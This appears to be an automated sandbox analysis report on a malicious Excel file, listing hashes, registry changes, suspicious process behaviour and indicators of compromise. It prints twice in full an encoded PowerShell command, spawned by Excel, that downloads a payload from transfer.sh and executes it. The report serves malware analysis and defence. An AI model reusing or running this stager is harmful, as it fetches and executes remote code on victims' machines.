Analysis
-
max time kernel
1146s -
max time network
881s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
18-03-2023 04:52
Behavioral task
behavioral1
Sample
compta_breizh.xls
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
compta_breizh.xls
Resource
win10v2004-20230220-en
General
-
Target
compta_breizh.xls
-
Size
580KB
-
MD5
1149360d266ca100ff6a7ce2a8414d53
-
SHA1
ff87dbe2730be9fb594a337e857b5f5c235e2005
-
SHA256
27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a
-
SHA512
e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9
-
SSDEEP
6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK
Malware Config
Extracted
https://transfer.sh/get
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2032 1712 powershell.exe EXCEL.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 848 1712 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exeflow pid process 4 2032 powershell.exe 5 2032 powershell.exe 8 848 powershell.exe 9 848 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1712 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2032 powershell.exe 848 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
EXCEL.EXEpid process 1712 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeEXCEL.EXEdescription pid process Token: SeDebugPrivilege 2032 powershell.exe Token: SeDebugPrivilege 848 powershell.exe Token: SeShutdownPrivilege 1712 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
EXCEL.EXEpid process 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE 1712 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1712 wrote to memory of 2032 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 2032 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 2032 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 2032 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 848 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 848 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 848 1712 EXCEL.EXE powershell.exe PID 1712 wrote to memory of 848 1712 EXCEL.EXE powershell.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\compta_breizh.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U1BMGWU6GYEZ3IECFMOO.tempFilesize
7KB
MD5016f190e87f01af202b2326a6f36a30a
SHA18312d742a4e8adc39cc5a4320b2f2ce1f44cc572
SHA256d601db43e3c911b8b767616f41e8529e7eff44c383f409eb7d20efc276516b0d
SHA512c44d92eb9872d86b79d027da57cf9ff030805ed9206cacf6176afb9b13d134cea34c5dac144ea635e2bc34e5acec7da387fa9368c285409d05796306bb158015
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD5016f190e87f01af202b2326a6f36a30a
SHA18312d742a4e8adc39cc5a4320b2f2ce1f44cc572
SHA256d601db43e3c911b8b767616f41e8529e7eff44c383f409eb7d20efc276516b0d
SHA512c44d92eb9872d86b79d027da57cf9ff030805ed9206cacf6176afb9b13d134cea34c5dac144ea635e2bc34e5acec7da387fa9368c285409d05796306bb158015
-
memory/848-115-0x0000000002690000-0x00000000026D0000-memory.dmpFilesize
256KB
-
memory/848-117-0x0000000002690000-0x00000000026D0000-memory.dmpFilesize
256KB
-
memory/848-116-0x0000000002690000-0x00000000026D0000-memory.dmpFilesize
256KB
-
memory/1712-84-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-109-0x0000000006120000-0x0000000006220000-memory.dmpFilesize
1024KB
-
memory/1712-82-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-59-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-62-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-61-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-57-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-63-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-65-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-64-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-66-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-67-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-68-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-70-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-71-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-73-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-74-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-75-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-79-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-77-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-78-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
memory/1712-81-0x00000000008B0000-0x00000000009B0000-memory.dmpFilesize
1024KB
-
